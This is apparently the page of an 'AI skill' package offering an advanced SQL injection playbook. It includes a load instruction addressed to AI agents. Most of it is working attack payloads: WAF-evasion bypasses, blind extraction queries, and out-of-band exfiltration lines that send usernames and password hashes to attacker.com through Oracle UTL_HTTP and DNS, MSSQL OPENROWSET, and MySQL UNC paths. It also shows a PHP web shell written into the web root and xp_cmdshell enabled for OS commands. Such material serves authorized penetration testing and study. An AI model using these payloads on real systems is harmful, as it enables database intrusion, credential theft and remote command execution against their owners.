npx skills add ...
npx skills add yaklang/hack-skills --skill sqli-sql-injection
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
npx skills add yaklang/hack-skills --skill sqli-sql-injection
AI LOAD INSTRUCTION: Advanced SQLi techniques. Assumes basic UNION/error/boolean-blind fundamentals known. Focuses on: per-database exploitation, out-of-band exfiltration, second-order injection, parameterized query bypass scenarios, filter evasion, and escalation to OS. For real-world CVE cases, SMB/DNS OOB exfiltration, INSERT/UPDATE injection patterns, and framework-specific exploitation (ThinkPHP, Django GIS), load the companion SCENARIOS.md.
charToHex table is indexed by ch & 0xFF, so a Unicode character like 丰 (U+4E30) resolves to hex digit 0 inside a \uXXXX escape sequence, letting you smuggle UNION, SELECT, 1, etc. without the WAF ever seeing themAlso load SCENARIOS.md when you need:
LOAD_FILE + UNC paths (Windows MySQL)updatexml error-based)utl_inaddr.get_host_name CVEAlso load SQLMAP_ADVANCED.md when you need:
--technique, --risk/--level combinations and --second-url for second-order injection--os-shell / --os-pwn OS-level exploitation via SQLMapIf you have only confirmed a suspicious SQL sink, do not load extra payload skills first; complete first-pass validation here.
| Situation | Start With | Why |
|---|---|---|
| Login or boolean branch | ' or 1=1-- | Fast signal on auth or conditional checks |
| Numeric parameter | 1 or 1=1 | Avoid quote dependency |
| ORDER BY / sorting | 1,2,3 then 1 desc-- | Good for structural probing |
| Visible SQL errors | ' then DBMS-specific error probes | Error text gives DBMS clues |
| No visible output | time-based payloads | Stable fallback for blind targets |
| Heavy filtering / WAF | polyglot or whitespace-free variants | Expands parser confusion surface |
| Clue | Likely DBMS | Good Next Move |
|---|---|---|
You have an error in your SQL syntax | MySQL | try SLEEP() and @@version |
Microsoft OLE DB Provider | MSSQL | try WAITFOR DELAY |
PG:: / PostgreSQL | PostgreSQL | try pg_sleep() |
ORA- prefix | Oracle | pivot to out-of-band or XML features |
| SQLite errors, local apps | SQLite | focus on boolean/UNION and file-backed behavior |
Most SQLi is found by behavioral differences, not errors:
| Signal | Meaning |
|---|---|
Page loads differently with ' vs '' | String context injection point |
Numeric: 1 vs 1-1 vs 2-1 returns same | Arithmetic evaluated |
1=1 vs 1=2 in condition changes result | Boolean-based injection |
| SELECT with ORDER BY N: column count enumeration | UNION prep |
Time delay: '; WAITFOR DELAY '0:0:5'-- | Blind/time-based |
500 error on ', 200 on '' | Unhandled exception = SQLi |
| Different HTTP response size | Boolean blind indicator |
Critical: test in ALL parameter types — URL query, POST body, JSON fields, XML values, HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie values).
Error-based fingerprint: inject ' and read error message format. MySQL errors differ from Oracle/MSSQL.
Column count determination:
Column type detection (NULL is safest):
Database-specific string concat (required when column accepts only int):
Use when blind injection has no time/boolean indicator, or when batch queries can't return data inline.
Use port 80 or 443 to bypass firewall egress restrictions.
Oracle's UTL_HTTP supports proxy — can exfil through corporate proxy!
Attacker sees: HASH_VALUE.attacker.com DNS query → read password hash.
Write malicious shared library to filesystem, then CREATE FUNCTION ... SONAME.
Concept: User input is stored safely (parameterized), but later retrieved as trusted data and concatenated into a new query without re-sanitization.
Example attack flow:
admin'--Key insight: Any application function that reads stored data and uses it in a new DB query is a second-order candidate. Review: password change, profile update, admin action on user data.
Parameterized queries do NOT prevent SQLi when:
Table/column names are user-controlled — params can't parameterize identifiers:
Mitigation: whitelist-validate table/column names.
Partial parameterization — some fields concatenated, others parameterized:
IN clause with dynamic count (common mistake in ORMs):
Second-order — data retrieved from DB assumed clean, re-used in query without params.
| Technique | Blocked | Bypass |
|---|---|---|
| Space filtered | SELECT * FROM | SELECT/**/*//**/FROM, SELECT%0a*%0aFROM |
| Comma filtered | UNION SELECT 1,2,3 | UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c |
| Quote filtered | 'admin' | 0x61646D696E (hex), CHAR(97,100,109,105,110) |
| OR/AND filtered | OR 1=1 | ||1=1, &&1=1, DIV 0 |
| = filtered | id=1 | id LIKE 1, id REGEXP '^1$', id IN (1), id BETWEEN 1 AND 1 |
| SELECT filtered | Use handler (MySQL), PREPARE+hex, or stacked queries | |
| information_schema filtered | mysql.innodb_table_stats, sys.schema_table_statistics |
Additional WAF bypass patterns:
SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/1' UNION SELECT 0x(inner_payload_hex)-- - where inner payload is another full query hex-encodedPDO::ATTR_EMULATE_PREPARES=true, stacked queries work even with parameterized-looking codeORDER BY 1--
ORDER BY 2--
ORDER BY N-- ← until error = N-1 columnsUNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL-- ← find string column-- MySQL
CONCAT(username,0x3a,password)
-- MSSQL
username+'|'+password
-- Oracle
username||'|'||password
-- PostgreSQL
username||':'||password-- Does first char of username = 'a'?
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
-- Oracle
' AND SUBSTR((SELECT username FROM users WHERE rownum=1),1,1)='a'--
-- MSSQL
' AND SUBSTRING((SELECT TOP 1 username FROM users),1,1)='a'---- MSSQL (most reliable)
'; IF (SUBSTRING(username,1,1)='a') WAITFOR DELAY '0:0:5'--
-- MySQL
' AND IF(SUBSTRING(username,1,1)='a',SLEEP(5),0)--
-- Oracle
' AND 1=(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)--
-- Oracle sleep alternative (no SLEEP):
' AND 1=UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual))--
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) VALUES (@@version)--
-- Exfiltrate table data:
'; INSERT INTO OPENROWSET(
'SQLOLEDB',
'DRIVER={SQL Server};SERVER=attacker.com,80;UID=sa;PWD=pass',
'SELECT * FROM foo'
) SELECT TOP 1 username+':'+password FROM users--'+UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT username FROM all_users WHERE ROWNUM=1))--'+UTL_INADDR.GET_HOST_NAME((SELECT password FROM dba_users WHERE username='SYS')||'.attacker.com')---- Email large data dumps:
UTL_SMTP.SENDMAIL(...) -- send query results via email
-- Raw TCP socket:
UTL_TCP.OPEN_CONNECTION('attacker.com', 80)SELECT LOAD_FILE('\\\\attacker.com\\share')
-- Triggers DNS lookup before connection attempt
-- Works on Windows hosts with outbound SMBSELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
-- Requirements: FILE privilege, writable web root, secure_file_priv='''; EXEC xp_cmdshell('whoami')--
-- Enable if disabled (requires sysadmin):
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE---- Create Java class:
EXEC dbms_java.grant_permission('SCOTT','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
-- Then exec OS commands via Java Runtime